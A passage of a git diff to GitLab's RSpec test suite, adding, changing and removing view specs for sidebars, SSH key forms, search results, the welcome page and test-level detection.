+ .to eq(%r{spec/(lib/gitlab/background_migration|lib/ee/gitlab/background_migration)})
+ end
+ end
+
+ context 'when level is integration' do
+ it 'returns a regexp' do
+ expect(subject.regexp(:integration))
+ .to eq(%r{spec/(controllers|mailers|requests)})
+ end
+ end
+
+ context 'when level is system' do
+ it 'returns a regexp' do
+ expect(subject.regexp(:system))
+ .to eq(%r{spec/(features)})
+ end
+ end
+
+ context 'with a prefix' do
+ it 'returns a regexp' do
+ expect(described_class.new('ee/').regexp(:system))
+ .to eq(%r{ee/spec/(features)})
+ end
+ end
+
+ describe 'performance' do
+ it 'memoizes the regexp for a given level' do
+ expect(subject.regexp(:system).object_id).to eq(subject.regexp(:system).object_id)
+ end
+
+ it 'freezes the regexp for a given level' do
+ expect(subject.regexp(:system)).to be_frozen
+ end
+ end
+ end
+
+ describe '#level_for' do
+ it 'returns the correct level for a unit test' do
+ expect(subject.level_for('spec/models/abuse_report_spec.rb')).to eq(:unit)
+ end
+
+ it 'returns the correct level for a frontend fixture test' do
+ expect(subject.level_for('spec/frontend/fixtures/pipelines.rb')).to eq(:frontend_fixture)
+ end
+
+ it 'returns the correct level for a tooling test' do
+ expect(subject.level_for('spec/tooling/lib/tooling/test_file_finder_spec.rb')).to eq(:unit)
+ end
+
+ it 'returns the correct level for a migration test' do
+ expect(subject.level_for('spec/migrations/add_default_and_free_plans_spec.rb')).to eq(:migration)
+ end
+
+ it 'returns the correct level for a background migration test' do
+ expect(subject.level_for('spec/lib/gitlab/background_migration/archive_legacy_traces_spec.rb')).to eq(:migration)
+ end
+
+ it 'returns the correct level for an EE file without passing a prefix' do
+ expect(subject.level_for('ee/spec/migrations/geo/migrate_ci_job_artifacts_to_separate_registry_spec.rb')).to eq(:migration)
+ end
+
+ it 'returns the correct level for a geo migration test' do
+ expect(described_class.new('ee/').level_for('ee/spec/migrations/geo/migrate_ci_job_artifacts_to_separate_registry_spec.rb')).to eq(:migration)
+ end
+
+ it 'returns the correct level for a EE-namespaced background migration test' do
+ expect(described_class.new('ee/').level_for('ee/spec/lib/ee/gitlab/background_migration/prune_orphaned_geo_events_spec.rb')).to eq(:migration)
+ end
+
+ it 'returns the correct level for an integration test' do
+ expect(subject.level_for('spec/mailers/abuse_report_mailer_spec.rb')).to eq(:integration)
+ end
+
+ it 'returns the correct level for a system test' do
+ expect(subject.level_for('spec/features/abuse_report_spec.rb')).to eq(:system)
+ end
+
+ it 'raises an error for an unknown level' do
+ expect { subject.level_for('spec/unknown/foo_spec.rb') }
+ .to raise_error(described_class::UnknownTestLevelError,
+ %r{Test level for spec/unknown/foo_spec.rb couldn't be set. Please rename the file properly or change the test level detection regexes in .+/tooling/quality/test_level.rb.})
+ end
+ end
+
+ describe '#background_migration?' do
+ it 'returns false for a unit test' do
+ expect(subject.background_migration?('spec/models/abuse_report_spec.rb')).to be(false)
+ end
+
+ it 'returns true for a migration test' do
+ expect(subject.background_migration?('spec/migrations/add_default_and_free_plans_spec.rb')).to be(false)
+ end
+
+ it 'returns true for a background migration test' do
+ expect(subject.background_migration?('spec/lib/gitlab/background_migration/archive_legacy_traces_spec.rb')).to be(true)
+ end
+
+ it 'returns true for a geo migration test' do
+ expect(described_class.new('ee/').background_migration?('ee/spec/migrations/geo/migrate_ci_job_artifacts_to_separate_registry_spec.rb')).to be(false)
+ end
+
+ it 'returns true for a EE-namespaced background migration test' do
+ expect(described_class.new('ee/').background_migration?('ee/spec/lib/ee/gitlab/background_migration/prune_orphaned_geo_events_spec.rb')).to be(true)
+ end
+ end
+end
diff --git a/spec/uploaders/object_storage_spec.rb b/spec/uploaders/object_storage_spec.rb
index a1d8695a8c9..b454b0ad8f8 100644
--- a/spec/uploaders/object_storage_spec.rb
+++ b/spec/uploaders/object_storage_spec.rb
@@ -441,6 +441,22 @@ RSpec.describe ObjectStorage do
end
end
+ shared_examples 'extracts base filename' do
+ it "returns true for ExtractsBase" do
+ expect(subject[:FeatureFlagExtractBase]).to be true
+ end
+
+ context 'when workhorse_extract_filename_base is disabled' do
+ before do
+ stub_feature_flags(workhorse_extract_filename_base: false)
+ end
+
+ it "returns false for ExtractsBase" do
+ expect(subject[:FeatureFlagExtractBase]).to be false
+ end
+ end
+ end
+
shared_examples 'uses local storage' do
it_behaves_like 'returns the maximum size given' do
it "returns temporary path" do
@@ -502,6 +518,7 @@ RSpec.describe ObjectStorage do
end
it_behaves_like 'uses local storage'
+ it_behaves_like 'extracts base filename'
end
context 'when object storage is enabled' do
@@ -509,6 +526,8 @@ RSpec.describe ObjectStorage do
allow(Gitlab.config.uploads.object_store).to receive(:enabled) { true }
end
+ it_behaves_like 'extracts base filename'
+
context 'when direct upload is enabled' do
before do
allow(Gitlab.config.uploads.object_store).to receive(:direct_upload) { true }
diff --git a/spec/validators/json_schema_validator_spec.rb b/spec/validators/json_schema_validator_spec.rb
index 1e9420c5422..83eb0e2f3dd 100644
--- a/spec/validators/json_schema_validator_spec.rb
+++ b/spec/validators/json_schema_validator_spec.rb
@@ -29,36 +29,6 @@ RSpec.describe JsonSchemaValidator do
expect(build_report_result.errors.full_messages).to eq(["Data must be a valid json schema"])
end
end
-
- context 'when draft is > 4' do
- let(:validator) { described_class.new(attributes: [:data], filename: "build_report_result_data", draft: 6) }
-
- it 'uses JSONSchemer to perform validations' do
- expect(JSONSchemer).to receive(:schema).with(Pathname.new(Rails.root.join('app', 'validators', 'json_schemas', 'build_report_result_data.json').to_s)).and_call_original
-
- subject
- end
- end
-
- context 'when draft is <= 4' do
- let(:validator) { described_class.new(attributes: [:data], filename: "build_report_result_data", draft: 4) }
-
- it 'uses JSON::Validator to perform validations' do
- expect(JSON::Validator).to receive(:validate).with(Rails.root.join('app', 'validators', 'json_schemas', 'build_report_result_data.json').to_s, build_report_result.data)
-
- subject
- end
- end
-
- context 'when draft value is not provided' do
- let(:validator) { described_class.new(attributes: [:data], filename: "build_report_result_data") }
-
- it 'uses JSON::Validator to perform validations' do
- expect(JSON::Validator).to receive(:validate).with(Rails.root.join('app', 'validators', 'json_schemas', 'build_report_result_data.json').to_s, build_report_result.data)
-
- subject
- end
- end
end
context 'when filename is not set' do
diff --git a/spec/validators/x509_certificate_credentials_validator_spec.rb b/spec/validators/x509_certificate_credentials_validator_spec.rb
index 9baa31c7257..9076aee7681 100644
--- a/spec/validators/x509_certificate_credentials_validator_spec.rb
+++ b/spec/validators/x509_certificate_credentials_validator_spec.rb
@@ -13,7 +13,9 @@ RSpec.describe X509CertificateCredentialsValidator do
attr_accessor :certificate, :private_key, :passphrase
def initialize(certificate, private_key, passphrase = nil)
- @certificate, @private_key, @passphrase = certificate, private_key, passphrase
+ @certificate = certificate
+ @private_key = private_key
+ @passphrase = passphrase
end
end
end
diff --git a/spec/views/admin/dashboard/index.html.haml_spec.rb b/spec/views/admin/dashboard/index.html.haml_spec.rb
index 5494b908705..6c7d8d2c165 100644
--- a/spec/views/admin/dashboard/index.html.haml_spec.rb
+++ b/spec/views/admin/dashboard/index.html.haml_spec.rb
@@ -29,7 +29,7 @@ RSpec.describe 'admin/dashboard/index.html.haml' do
it "includes revision of GitLab" do
render
- expect(rendered).to have_content "#{Gitlab::VERSION} (#{Gitlab.revision})"
+ expect(rendered).to have_content "#{Gitlab::VERSION} #{Gitlab.revision}"
end
it 'does not include license breakdown' do
diff --git a/spec/views/admin/services/index.html.haml_spec.rb b/spec/views/admin/services/index.html.haml_spec.rb
deleted file mode 100644
index e8cd2dde67e..00000000000
--- a/spec/views/admin/services/index.html.haml_spec.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'admin/services/index.html.haml' do
- before do
- assign(:services, build_stubbed_list(:service, 1))
- assign(:existing_instance_types, [])
- end
-
- context 'user has not dismissed Service Templates deprecation message' do
- it 'shows the message' do
- allow(view).to receive(:show_service_templates_deprecated?).and_return(true)
-
- render
-
- expect(rendered).to have_content('Service Templates will soon be deprecated.')
- end
- end
-
- context 'user has dismissed Service Templates deprecation message' do
- it 'does not show the message' do
- allow(view).to receive(:show_service_templates_deprecated?).and_return(false)
-
- render
-
- expect(rendered).not_to have_content('Service Templates will soon be deprecated.')
- end
- end
-end
diff --git a/spec/views/dashboard/projects/index.html.haml_spec.rb b/spec/views/dashboard/projects/index.html.haml_spec.rb
new file mode 100644
index 00000000000..72b5901d5e5
--- /dev/null
+++ b/spec/views/dashboard/projects/index.html.haml_spec.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'dashboard/projects/index.html.haml' do
+ let_it_be(:user) { build(:user) }
+
+ before do
+ allow(view).to receive(:limited_counter_with_delimiter)
+ allow(view).to receive(:current_user).and_return(user)
+ allow(view).to receive(:project_list_cache_key)
+ allow(view).to receive(:time_ago_with_tooltip)
+ allow(view).to receive(:project_icon)
+ assign(:projects, [build(:project, name: 'awesome stuff')])
+ end
+
+ it 'shows the project the user is a member of in the list' do
+ render
+
+ expect(rendered).to have_content('awesome stuff')
+ end
+
+ it 'shows the "New project" button' do
+ render
+
+ expect(rendered).to have_link('New project')
+ end
+end
diff --git a/spec/views/groups/settings/_remove.html.haml_spec.rb b/spec/views/groups/settings/_remove.html.haml_spec.rb
new file mode 100644
index 00000000000..07fe900bc2d
--- /dev/null
+++ b/spec/views/groups/settings/_remove.html.haml_spec.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'groups/settings/_remove.html.haml' do
+ describe 'render' do
+ it 'enables the Remove group button for a group' do
+ group = build(:group)
+
+ render 'groups/settings/remove', group: group
+
+ expect(rendered).to have_selector '[data-testid="remove-group-button"]'
+ expect(rendered).not_to have_selector '[data-testid="remove-group-button"].disabled'
+ expect(rendered).not_to have_selector '[data-testid="group-has-linked-subscription-alert"]'
+ end
+ end
+end
diff --git a/spec/views/layouts/_search.html.haml_spec.rb b/spec/views/layouts/_search.html.haml_spec.rb
new file mode 100644
index 00000000000..f0c7cb57b25
--- /dev/null
+++ b/spec/views/layouts/_search.html.haml_spec.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'layouts/_search' do
+ let(:group) { nil }
+ let(:project) { nil }
+ let(:scope) { 'issues' }
+ let(:search_context) do
+ instance_double(Gitlab::SearchContext,
+ project: project,
+ group: group,
+ scope: scope,
+ ref: nil,
+ snippets: [],
+ search_url: '/search',
+ project_metadata: {},
+ group_metadata: {})
+ end
+
+ before do
+ allow(view).to receive(:search_context).and_return(search_context)
+ allow(search_context).to receive(:code_search?).and_return(false)
+ allow(search_context).to receive(:for_snippets?).and_return(false)
+ end
+
+ shared_examples 'search context scope is set' do
+ context 'when on issues' do
+ it 'sets scope to issues' do
+ render
+
+ expect(rendered).to have_css("input[name='scope'][value='issues']", count: 1, visible: false)
+ end
+ end
+
+ context 'when on merge requests' do
+ let(:scope) { 'merge_requests' }
+
+ it 'sets scope to merge_requests' do
+ render
+
+ expect(rendered).to have_css("input[name='scope'][value='merge_requests']", count: 1, visible: false)
+ end
+ end
+ end
+
+ context 'when doing project level search' do
+ let(:project) { create(:project) }
+
+ before do
+ allow(search_context).to receive(:for_project?).and_return(true)
+ allow(search_context).to receive(:for_group?).and_return(false)
+ end
+
+ it_behaves_like 'search context scope is set'
+ end
+
+ context 'when doing group level search' do
+ let(:group) { create(:group) }
+
+ before do
+ allow(search_context).to receive(:for_project?).and_return(false)
+ allow(search_context).to receive(:for_group?).and_return(true)
+ end
+
+ it_behaves_like 'search context scope is set'
+ end
+end
diff --git a/spec/views/layouts/header/_new_dropdown.haml_spec.rb b/spec/views/layouts/header/_new_dropdown.haml_spec.rb
index 80342cbdb41..cec095f93ad 100644
--- a/spec/views/layouts/header/_new_dropdown.haml_spec.rb
+++ b/spec/views/layouts/header/_new_dropdown.haml_spec.rb
@@ -163,6 +163,7 @@ RSpec.describe 'layouts/header/_new_dropdown' do
end
it 'has a "New project" link' do
+ render('layouts/header/new_repo_experiment')
render
expect(rendered).to have_link('New project', href: new_project_path)
diff --git a/spec/views/layouts/nav/sidebar/_group.html.haml_spec.rb b/spec/views/layouts/nav/sidebar/_group.html.haml_spec.rb
index b3c8450fb48..640f463b45d 100644
--- a/spec/views/layouts/nav/sidebar/_group.html.haml_spec.rb
+++ b/spec/views/layouts/nav/sidebar/_group.html.haml_spec.rb
@@ -10,4 +10,5 @@ RSpec.describe 'layouts/nav/sidebar/_group' do
end
it_behaves_like 'has nav sidebar'
+ it_behaves_like 'sidebar includes snowplow attributes', 'render', 'groups_side_navigation', 'groups_side_navigation'
end
diff --git a/spec/views/layouts/nav/sidebar/_profile.html.haml_spec.rb b/spec/views/layouts/nav/sidebar/_profile.html.haml_spec.rb
index 0f6dcf8e57f..3d28be68b25 100644
--- a/spec/views/layouts/nav/sidebar/_profile.html.haml_spec.rb
+++ b/spec/views/layouts/nav/sidebar/_profile.html.haml_spec.rb
@@ -10,4 +10,5 @@ RSpec.describe 'layouts/nav/sidebar/_profile' do
end
it_behaves_like 'has nav sidebar'
+ it_behaves_like 'sidebar includes snowplow attributes', 'render', 'user_side_navigation', 'user_side_navigation'
end
diff --git a/spec/views/layouts/nav/sidebar/_project.html.haml_spec.rb b/spec/views/layouts/nav/sidebar/_project.html.haml_spec.rb
index 99d7dfc8acb..f4a5fcc13bb 100644
--- a/spec/views/layouts/nav/sidebar/_project.html.haml_spec.rb
+++ b/spec/views/layouts/nav/sidebar/_project.html.haml_spec.rb
@@ -5,16 +5,61 @@ require 'spec_helper'
RSpec.describe 'layouts/nav/sidebar/_project' do
let_it_be_with_reload(:project) { create(:project, :repository) }
+ let(:user) { project.owner }
+
before do
assign(:project, project)
assign(:repository, project.repository)
- allow(view).to receive(:current_ref).and_return('master')
+ allow(view).to receive(:current_ref).and_return('master')
allow(view).to receive(:can?).and_return(true)
+ allow(view).to receive(:current_user).and_return(user)
end
it_behaves_like 'has nav sidebar'
+ describe 'Project Overview' do
+ it 'has a link to the project path' do
+ render
+
+ expect(rendered).to have_link('Project overview', href: project_path(project), class: %w(shortcuts-project rspec-project-link))
+ end
+
+ describe 'Details' do
+ it 'has a link to the projects path' do
+ render
+
+ expect(rendered).to have_link('Details', href: project_path(project), class: 'shortcuts-project')
+ end
+ end
+
+ describe 'Activity' do
+ it 'has a link to the project activity path' do
+ render
+
+ expect(rendered).to have_link('Activity', href: activity_project_path(project), class: 'shortcuts-project-activity')
+ end
+ end
+
+ describe 'Releases' do
+ it 'has a link to the project releases path' do
+ render
+
+ expect(rendered).to have_link('Releases', href: project_releases_path(project), class: 'shortcuts-project-releases')
+ end
+ end
+ end
+
+ describe 'Learn GitLab' do
+ it 'has a link to the learn GitLab experiment' do
+ allow(view).to receive(:learn_gitlab_experiment_enabled?).and_return(true)
+
+ render
+
+ expect(rendered).to have_link('Learn GitLab', href: project_learn_gitlab_path(project))
+ end
+ end
+
describe 'issue boards' do
it 'has board tab' do
render
@@ -99,19 +144,11 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
end
end
- describe 'releases entry' do
- it 'renders releases link' do
- render
-
- expect(rendered).to have_link('Releases', href: project_releases_path(project))
- end
- end
-
describe 'wiki entry tab' do
let(:can_read_wiki) { true }
before do
- allow(view).to receive(:can?).with(nil, :read_wiki, project).and_return(can_read_wiki)
+ allow(view).to receive(:can?).with(user, :read_wiki, project).and_return(can_read_wiki)
end
describe 'when wiki is enabled' do
@@ -146,7 +183,7 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
it 'shows the external wiki tab with the external wiki service link' do
render
- expect(rendered).to have_link('External Wiki', href: properties['external_wiki_url'])
+ expect(rendered).to have_link('External wiki', href: properties['external_wiki_url'])
end
end
@@ -156,7 +193,7 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
it 'does not show the external wiki tab' do
render
- expect(rendered).not_to have_link('External Wiki')
+ expect(rendered).not_to have_link('External wiki')
end
end
end
@@ -299,7 +336,7 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
let(:read_cycle_analytics) { true }
before do
- allow(view).to receive(:can?).with(nil, :read_cycle_analytics, project).and_return(read_cycle_analytics)
+ allow(view).to receive(:can?).with(user, :read_cycle_analytics, project).and_return(read_cycle_analytics)
end
describe 'when value stream analytics is enabled' do
@@ -346,4 +383,6 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
end
end
end
+
+ it_behaves_like 'sidebar includes snowplow attributes', 'render', 'projects_side_navigation', 'projects_side_navigation'
end
diff --git a/spec/views/layouts/profile.html.haml_spec.rb b/spec/views/layouts/profile.html.haml_spec.rb
index 93f8a075209..77474555771 100644
--- a/spec/views/layouts/profile.html.haml_spec.rb
+++ b/spec/views/layouts/profile.html.haml_spec.rb
@@ -19,21 +19,8 @@ RSpec.describe 'layouts/profile' do
.with({ locals: { container_class: 'gl-my-5' } })
end
- context 'when search_settings_in_page feature flag is on' do
- it 'displays the search settings entry point' do
- render
- expect(rendered).to include('js-search-settings-app')
- end
- end
-
- context 'when search_settings_in_page feature flag is off' do
- before do
- stub_feature_flags(search_settings_in_page: false)
- end
-
- it 'does not display the search settings entry point' do
- render
- expect(rendered).not_to include('js-search-settings-app')
- end
+ it 'displays the search settings entry point' do
+ render
+ expect(rendered).to include('js-search-settings-app')
end
end
diff --git a/spec/views/profiles/keys/_form.html.haml_spec.rb b/spec/views/profiles/keys/_form.html.haml_spec.rb
new file mode 100644
index 00000000000..62bb271bd9c
--- /dev/null
+++ b/spec/views/profiles/keys/_form.html.haml_spec.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'profiles/keys/_form.html.haml' do
+ let_it_be(:key) { Key.new }
+
+ let(:page) { Capybara::Node::Simple.new(rendered) }
+
+ before do
+ assign(:key, key)
+ end
+
+ context 'when the form partial is used' do
+ before do
+ allow(view).to receive(:ssh_key_expires_field_description).and_return('Key can still be used after expiration.')
+
+ render
+ end
+
+ it 'renders the form with the correct action' do
+ expect(page.find('form')['action']).to eq('/-/profile/keys')
+ end
+
+ it 'has the key field', :aggregate_failures do
+ expect(rendered).to have_field('Key', type: 'textarea', placeholder: 'Typically starts with "ssh-ed25519 …" or "ssh-rsa …"')
+ expect(rendered).to have_text("Paste your public SSH key, which is usually contained in the file '~/.ssh/id_ed25519.pub' or '~/.ssh/id_rsa.pub' and begins with 'ssh-ed25519' or 'ssh-rsa'. Do not paste your private SSH key, as that can compromise your identity.")
+ end
+
+ it 'has the title field', :aggregate_failures do
+ expect(rendered).to have_field('Title', type: 'text', placeholder: 'e.g. My MacBook key')
+ expect(rendered).to have_text('Give your individual key a title.')
+ end
+
+ it 'has the expires at field', :aggregate_failures do
+ expect(rendered).to have_field('Expires at', type: 'date')
+ expect(page.find_field('Expires at')['min']).to eq(l(1.day.from_now, format: "%Y-%m-%d"))
+ expect(rendered).to have_text('Key can still be used after expiration.')
+ end
+
+ it 'has the validation warning', :aggregate_failures do
+ expect(rendered).to have_text("Oops, are you sure? Publicly visible private SSH keys can compromise your system.")
+ expect(rendered).to have_button('Yes, add it')
+ end
+
+ it 'has the submit button' do
+ expect(rendered).to have_button('Add key')
+ end
+ end
+end
diff --git a/spec/views/profiles/keys/_key.html.haml_spec.rb b/spec/views/profiles/keys/_key.html.haml_spec.rb
new file mode 100644
index 00000000000..bb101198ac3
--- /dev/null
+++ b/spec/views/profiles/keys/_key.html.haml_spec.rb
@@ -0,0 +1,123 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'profiles/keys/_key.html.haml' do
+ let_it_be(:user) { create(:user) }
+
+ before do
+ allow(view).to receive(:key).and_return(key)
+ allow(view).to receive(:is_admin).and_return(false)
+ end
+
+ context 'when the key partial is used' do
+ let_it_be(:key) do
+ create(:personal_key,
+ user: user,
+ last_used_at: 7.days.ago,
+ expires_at: 2.days.from_now)
+ end
+
+ it 'displays the correct values', :aggregate_failures do
+ render
+
+ expect(rendered).to have_text(key.title)
+ expect(rendered).to have_css('[data-testid="key-icon"]')
+ expect(rendered).to have_text(key.fingerprint)
+ expect(rendered).to have_text(l(key.last_used_at, format: "%b %d, %Y"))
+ expect(rendered).to have_text(l(key.created_at, format: "%b %d, %Y"))
+ expect(rendered).to have_text(key.expires_at.to_date)
+ expect(response).to render_template(partial: 'shared/ssh_keys/_key_delete')
+ end
+
+ context 'when the key has not been used' do
+ let_it_be(:key) do
+ create(:personal_key,
+ user: user,
+ last_used_at: nil)
+ end
+
+ it 'renders "Never" for last used' do
+ render
+
+ expect(rendered).to have_text('Last used: Never')
+ end
+ end
+
+ context 'when the key does not have an expiration date' do
+ let_it_be(:key) do
+ create(:personal_key,
+ user: user,
+ expires_at: nil)
+ end
+
+ it 'renders "Never" for expires' do
+ render
+
+ expect(rendered).to have_text('Expires: Never')
+ end
+ end
+
+ context 'when the key has expired' do
+ let_it_be(:key) do
+ create(:personal_key,
+ user: user,
+ expires_at: 2.days.ago)
+ end
+
+ it 'renders "Expired:" as the expiration date label' do
+ render
+
+ expect(rendered).to have_text('Expired:')
+ end
+ end
+
+ context 'when the key is not deletable' do
+ # Turns out key.can_delete? is only false for LDAP keys
+ # but LDAP keys don't exist outside EE
+ before do
+ allow(key).to receive(:can_delete?).and_return(false)
+ end
+
+ it 'does not render the partial' do
+ render
+
+ expect(response).not_to render_template(partial: 'shared/ssh_keys/_key_delete')
+ end
+ end
+
+ context 'icon tooltip' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:valid, :expiry, :result) do
+ false | 2.days.from_now | 'Key type is forbidden. Must be DSA, ECDSA, or ED25519'
+ false | 2.days.ago | 'Key type is forbidden. Must be DSA, ECDSA, or ED25519'
+ true | 2.days.ago | 'Key usable beyond expiration date.'
+ true | 2.days.from_now | ''
+ end
+
+ with_them do
+ let_it_be(:key) do
+ create(:personal_key, user: user)
+ end
+
+ it 'renders the correct icon', :aggregate_failures do
+ unless valid
+ stub_application_setting(rsa_key_restriction: ApplicationSetting::FORBIDDEN_KEY_VALUE)
+ end
+
+ key.expires_at = expiry
+
+ render
+
+ if result.empty?
+ expect(rendered).to have_css('[data-testid="key-icon"]')
+ else
+ expect(rendered).to have_css('[data-testid="warning-solid-icon"]')
+ expect(rendered).to have_selector("span.has-tooltip[title='#{result}']")
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/views/projects/commit/_commit_box.html.haml_spec.rb b/spec/views/projects/commit/_commit_box.html.haml_spec.rb
index 9d18519ade6..c503e085d02 100644
--- a/spec/views/projects/commit/_commit_box.html.haml_spec.rb
+++ b/spec/views/projects/commit/_commit_box.html.haml_spec.rb
@@ -34,14 +34,6 @@ RSpec.describe 'projects/commit/_commit_box.html.haml' do
expect(rendered).to have_selector('.js-commit-pipeline-mini-graph')
end
-
- it 'shows pipeline stages in haml when feature flag is disabled' do
- stub_feature_flags(ci_commit_pipeline_mini_graph_vue: false)
-
- render
-
- expect(rendered).to have_selector('.js-commit-pipeline-graph')
- end
end
context 'when there are multiple pipelines for a commit' do
@@ -74,30 +66,4 @@ RSpec.describe 'projects/commit/_commit_box.html.haml' do
end
end
end
-
- context 'viewing a commit' do
- context 'as a developer' do
- before do
- allow(view).to receive(:can_collaborate_with_project?).and_return(true)
- end
-
- it 'has a link to create a new tag' do
- render
-
- expect(rendered).to have_link('Tag')
- end
- end
-
- context 'as a non-developer' do
- before do
- project.add_guest(user)
- end
-
- it 'does not have a link to create a new tag' do
- render
-
- expect(rendered).not_to have_link('Tag')
- end
- end
- end
end
diff --git a/spec/views/projects/empty.html.haml_spec.rb b/spec/views/projects/empty.html.haml_spec.rb
index de83722160e..dd7b1bd94a9 100644
--- a/spec/views/projects/empty.html.haml_spec.rb
+++ b/spec/views/projects/empty.html.haml_spec.rb
@@ -36,6 +36,16 @@ RSpec.describe 'projects/empty' do
end
end
+ context 'project is archived' do
+ let(:project) { ProjectPresenter.new(create(:project, :empty_repo, :archived), current_user: user) }
+
+ it 'shows archived notice' do
+ render
+
+ expect(rendered).to have_content('Archived project!')
+ end
+ end
+
describe 'invite_members_empty_project_version_a experiment' do
let(:can_import_members) { true }
diff --git a/spec/views/projects/pipelines/_stage.html.haml_spec.rb b/spec/views/projects/pipelines/_stage.html.haml_spec.rb
deleted file mode 100644
index c8f6784a0f6..00000000000
--- a/spec/views/projects/pipelines/_stage.html.haml_spec.rb
+++ /dev/null
@@ -1,73 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'projects/pipelines/_stage' do
- let(:project) { create(:project, :repository) }
- let(:pipeline) { create(:ci_pipeline, project: project) }
- let(:stage) { build(:ci_stage, pipeline: pipeline) }
-
- before do
- assign :stage, stage
- end
-
- context 'when there are only latest builds present' do
- before do
- create(:ci_build, name: 'test:build',
- stage: stage.name,
- pipeline: pipeline)
- end
-
- it 'shows the builds in the stage' do
- render
-
- expect(rendered).to have_text 'test:build'
- end
- end
-
- context 'when build belongs to different stage' do
- before do
- create(:ci_build, name: 'test:build',
- stage: 'other:stage',
- pipeline: pipeline)
- end
-
- it 'does not render build' do
- render
-
- expect(rendered).not_to have_text 'test:build'
- end
- end
-
- context 'when there are retried builds present' do
- before do
- create(:ci_build, name: 'test:build', stage: stage.name, pipeline: pipeline, retried: true)
- create(:ci_build, name: 'test:build', stage: stage.name, pipeline: pipeline)
- end
-
- it 'shows only latest builds' do
- render
-
- expect(rendered).to have_text 'test:build', count: 1
- end
- end
-
- context 'when there are multiple builds' do
- before do
- Ci::HasStatus::AVAILABLE_STATUSES.each do |status|
- create_build(status)
- end
- end
-
- it 'shows them in order' do
- render
-
- expect(rendered).to have_text(Ci::HasStatus::ORDERED_STATUSES.join(" "))
- end
-
- def create_build(status)
- create(:ci_build, name: status, status: status,
- pipeline: pipeline, stage: stage.name)
- end
- end
-end
diff --git a/spec/views/projects/settings/operations/show.html.haml_spec.rb b/spec/views/projects/settings/operations/show.html.haml_spec.rb
index b2dd3556098..e6d53c526e2 100644
--- a/spec/views/projects/settings/operations/show.html.haml_spec.rb
+++ b/spec/views/projects/settings/operations/show.html.haml_spec.rb
@@ -36,8 +36,8 @@ RSpec.describe 'projects/settings/operations/show' do
it 'renders the Operations Settings page' do
render
- expect(rendered).to have_content _('Alerts')
- expect(rendered).to have_content _('Display alerts from all your monitoring tools directly within GitLab.')
+ expect(rendered).to have_content _('Alert integrations')
+ expect(rendered).to have_content _('Display alerts from all configured monitoring tools.')
end
end
diff --git a/spec/views/projects/tags/index.html.haml_spec.rb b/spec/views/projects/tags/index.html.haml_spec.rb
index dc008875062..18b42f98e0b 100644
--- a/spec/views/projects/tags/index.html.haml_spec.rb
+++ b/spec/views/projects/tags/index.html.haml_spec.rb
@@ -21,6 +21,7 @@ RSpec.describe 'projects/tags/index.html.haml' do
end
it 'defaults sort dropdown toggle to last updated' do
+ stub_feature_flags(gldropdown_tags: false)
render
expect(rendered).to have_button('Last updated')
end
diff --git a/spec/views/registrations/welcome/show.html.haml_spec.rb b/spec/views/registrations/welcome/show.html.haml_spec.rb
index f731594e9ee..639759ae095 100644
--- a/spec/views/registrations/welcome/show.html.haml_spec.rb
+++ b/spec/views/registrations/welcome/show.html.haml_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe 'registrations/welcome/show' do
- using RSpec::Parameterized::TableSyntax
+ let(:is_gitlab_com) { false }
let_it_be(:user) { User.new }
@@ -11,9 +11,9 @@ RSpec.describe 'registrations/welcome/show' do
allow(view).to receive(:current_user).and_return(user)
allow(view).to receive(:in_subscription_flow?).and_return(false)
allow(view).to receive(:in_trial_flow?).and_return(false)
- allow(view).to receive(:in_invitation_flow?).and_return(false)
+ allow(view).to receive(:user_has_memberships?).and_return(false)
allow(view).to receive(:in_oauth_flow?).and_return(false)
- allow(Gitlab).to receive(:com?).and_return(false)
+ allow(Gitlab).to receive(:com?).and_return(is_gitlab_com)
render
end
@@ -22,4 +22,24 @@ RSpec.describe 'registrations/welcome/show' do
it { is_expected.not_to have_selector('label[for="user_setup_for_company"]') }
it { is_expected.to have_button('Get started!') }
+ it { is_expected.to have_selector('input[name="user[email_opted_in]"]') }
+
+ describe 'email opt in' do
+ context 'when on gitlab.com' do
+ let(:is_gitlab_com) { true }
+
+ it 'hides the email-opt in by default' do
+ expect(subject).to have_css('.js-email-opt-in.hidden')
+ end
+ end
+
+ context 'when not on gitlab.com' do
+ let(:is_gitlab_com) { false }
+
+ it 'hides the email-opt in by default' do
+ expect(subject).not_to have_css('.js-email-opt-in.hidden')
+ expect(subject).to have_css('.js-email-opt-in')
+ end
+ end
+ end
end
diff --git a/spec/views/search/_results.html.haml_spec.rb b/spec/views/search/_results.html.haml_spec.rb
index 8960d096143..11f2a4082e7 100644
--- a/spec/views/search/_results.html.haml_spec.rb
+++ b/spec/views/search/_results.html.haml_spec.rb
@@ -28,6 +28,21 @@ RSpec.describe 'search/_results' do
expect(rendered).to have_content('Showing 1 - 2 of 3 issues for foo')
end
+ context 'when searching notes which contain quotes in markdown' do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:issue) { create(:issue, project: project, title: '*') }
+ let_it_be(:note) { create(:discussion_note_on_issue, noteable: issue, project: issue.project, note: '```"helloworld"```') }
+ let(:scope) { 'notes' }
+ let(:search_objects) { Note.page(1).per(2) }
+ let(:term) { 'helloworld' }
+
+ it 'renders plain quotes' do
+ render
+
+ expect(rendered).to include('"<mark>helloworld</mark>"')
+ end
+ end
+
context 'when search results do not have a count' do
before do
@search_objects = @search_objects.without_count
diff --git a/spec/views/shared/nav/_sidebar.html.haml_spec.rb b/spec/views/shared/nav/_sidebar.html.haml_spec.rb
new file mode 100644
index 00000000000..268d2952683
